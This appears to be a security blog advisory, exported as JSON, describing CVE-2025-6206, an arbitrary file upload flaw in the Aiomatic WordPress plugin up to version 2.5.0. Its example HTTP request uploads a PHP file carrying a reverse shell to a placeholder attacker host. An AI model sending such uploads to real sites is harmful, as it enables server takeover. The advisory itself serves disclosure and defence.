{"id":86527,"date":"2026-02-22T18:24:20","date_gmt":"2026-02-22T18:24:20","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T00:00:00","slug":"cve-2025-6206-arbitrary-file-upload-vulnerability-in-aiomatic-wordpress-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-6206-arbitrary-file-upload-vulnerability-in-aiomatic-wordpress-plugin\/","title":{"rendered":"CVE-2025-6206: Arbitrary File Upload Vulnerability in Aiomatic WordPress Plugin<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The vulnerability CVE-2025-6206 targets the Aiomatic – Automatic AI Content Writer & Editor, GPT-3 & GPT-4, ChatGPT ChatBot & AI Toolkit plugin for WordPress. It allows authenticated attackers to upload arbitrary files due to missing file type validation, potentially leading to remote code execution and system compromise. Sites using versions up to and including 2.5.0 of this plugin are at risk.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-6206
\nSeverity: High (7.5 CVSS score)
\nAttack Vector: Network
\nPrivileges Required: Low (Subscriber-level access)
\nUser Interaction: Required
\nImpact: Potential system compromise and data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Aiomatic WordPress Plugin | Up to and including 2.5.0<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit takes advantage of the lack of file type validation in the ‘aiomatic_image_editor_ajax_submit’ function. This allows an authenticated user with at least subscriber-level access to upload arbitrary files on the server. The attackers can use this vulnerability to upload malicious scripts, which can be later executed to compromise the system.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Below is a conceptual example of how the vulnerability might be exploited.<\/p>\n

POST \/wp-admin\/admin-ajax.php?action=aiomatic_image_editor_ajax_submit HTTP\/1.1\nHost: vulnerable-website.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"aiomatic_image\"; filename=\"malicious.php\"\nContent-Type: application\/x-php\n& \/dev\/tcp\/attacker-ip\/8080 0>&1\"'); ?>\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n
In this conceptual example, the attacker uploads a PHP file that when executed, opens a reverse shell to the attacker’s machine, granting them control over the server.<\/p>\n","protected":false},"excerpt":{"rendered":"
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